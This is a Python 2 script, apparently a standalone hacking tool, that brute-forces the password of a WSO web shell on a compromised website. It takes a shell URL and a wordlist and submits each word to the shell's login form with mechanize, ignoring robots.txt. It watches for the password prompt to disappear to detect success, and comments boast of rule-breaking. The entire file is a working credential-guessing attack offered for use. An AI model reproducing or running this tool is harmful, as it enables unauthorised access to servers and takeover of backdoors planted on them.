import mechanize, os, sys

def clear_scr():
    if 'win32' in sys.platform:
        os.system('cls')
    else:
        os.system('clear')

def main():
    try:
        logo = "\n+==============================+"
        logo += "\n WSO Shell Password BruteForcer"
        logo += "\n+==============================+\n"

        # Don't follow robots.txt rule ^_^ after all, we're rule breaker
        link = raw_input("Enter shell link -> ")

        wlist = raw_input('Enter wordlist file -> ')

        xo = open(wlist).readlines()
        lo = len(xo)
        wo = "%s\nTarget => %s\nWords to Test : [%d]" % (logo,link, lo)
        
        scan(wo,lo,xo,link) # Bring it on!!
    except KeyboardInterrupt:
        print "[~] Program Terminated!"
        
def scan(w,l,x,h): # W for Words to maintain printing.., l for wordlist length.., x for wordlist.., h for link
    sig = 'Password:'
    br = mechanize.Browser()
    br.set_handle_robots(False)
    
    for i in x:
        clear_scr()
        print w
        print "Tested        : [%d]\n" % int(x.index(i)+1)
        resp = br.open(h)
        br.select_form(nr=0)
        br.form['pass'] = i
        br.submit()
        new_resp = br.open(h).read()
        if sig in new_resp:
            print "[-] Tested : %s" % i
            if x.index(i)+1 == len(x):
                print "[!] Sorry pass not found!"
        elif sig not in new_resp:
            print "[+] Tested : %s , [Successful]" % i
            break

if __name__ == "__main__":
    main()
    
    
    
    
